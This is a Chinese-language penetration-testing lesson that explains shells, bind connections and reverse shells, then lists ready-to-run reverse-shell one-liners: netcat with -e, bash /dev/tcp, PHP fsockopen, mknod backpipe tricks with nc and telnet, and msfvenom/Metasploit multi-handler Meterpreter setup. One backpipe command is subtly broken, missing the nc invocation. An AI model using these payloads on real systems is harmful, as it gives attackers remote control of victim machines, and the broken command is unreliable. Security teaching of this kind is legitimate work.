一、课时目标
1.理解shell的概念
2.理解交互式shell和非交互式shell的区别
3.掌握反弹shell的原理和方法
二、shell的相关概念
2.1 什么是shell
Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(command interpreter,命令解析器)。它类似于DOS下的COMMAND.COM和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序.
2.2 非交互式shell、交互式shell以及他们的区别
在测试过程中,我们可以将获取的shell大致分为两种类型,非交互式shell和交互式shell。
非交互式shell
非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就结束了。通过菜刀、蚁剑获取的虚拟终端就是一种典型的非交互式shell。
它可以执行一些普通的命令并输出结果,但不能执行与用户进行交互的命令.这个交互怎么理解呢?比如正常情况下使用su切换用户时,系统会提示我们输入密码.非交互式shell则不能实现这种结果.
交互式shell
交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
如linux修改passwd,会提示让你输入新的密码。这种模式被称作交互式shell
当我们已经拿下主机的webshell之后,想要获取一个可以直接操作主机的虚拟终端时,会遇到两种情况。
2.3 正向连接
第一种,目标主机具有公网IP地址,能够被外网直接访问。此时攻击者可以直接访问目标机器,这种连接方式叫做正向连接。我们只需要在目标机器开启shell监听,然后攻击机器直接访问即可。具体操作如下:
1.使用NC工具在目标机器开启端口进行监听,并将本地的bash发布出去。
nc -lvvp 9999 -e /bin/bash
2.攻击端直接访问目标机器
nc 192.168.122.6 9999
nc是netcat的简写,它是一款实用的网络工具,可以实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
-l 监听模式,用于入站连接
-v 详细输出–用两个-v可得到更详细的内容
-p port 本地端口号
2.4 反弹shell
第二种,目标主机处于内网环境下,不可以被外网直接访问,只能主动将shell反弹出来.这种方式称作反弹shell.
2.4.1 什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上是网络概念的客户端与服务端的角色反转。
- 在攻击机器开启端口监听
攻击者:nc -lvnp 9999 - 使用nc命令直接建立一个tcp 9999 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机
受害者: nc -e /bin/bash 10.0.0.1 9999
2.4.2 反弹shell的其他应用场景
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
比如:
1.目标机器的ip动态改变,你不能持续控制。(只要对方的ip地址一换,权限就会丢失.)
2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。(攻击者发往目标机器的命令,被防火墙拦截无法执行,但目标机器在本地执行命令输出到攻击机器则不会受影响)
以上,这些情况下都没有办法使用常规的正向连接,让受害机器主动连接攻击机器,才是最佳的办法。
2.5 反弹shell的其他方式
2.5.1系统自带的bash
攻击者:nc -lvp 9999
受害者:bash -i >& /dev/tcp/192.168.xx.xx/9999 0>&1
bash -i >& /dev/tcp/192.168.239.128/9999 0>&1
bash -i代表在本地打开一个bash
bash产生了一个交互环境与本地主机主动发起与目标主机9999端口建立的连接(即TCP 9999 会话连接)相结合,然后在重定向个tcp 9999会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
2.5.2利用脚本
python、perl、ruby、php、jsp、asp等
如:php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec("/bin/sh -i <&3 >&3 2>&3");’
2.5.3利用第三方服务或者工具
nc、telenet、socat、msf
如:nc -e /bin/sh 10.0.0.1 1234
#不同版本的nc不一定支持-e选项,当-e参数被禁用时可以使用
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | 192.168.x.x 5999 1>/tmp/backpipe
telnet #当nc和/dev/tcp不可用时
mknod backpipe p && telnet 192.168.x.x 8080 0<backpipe | /bin/bash 1>backpipe
msf #msf生成的后门shell必须由exploit/multi/handler模块来监听
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.1.1 lport=4444 -f raw > xx.php
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.x.x
set LPORT 4444
exploit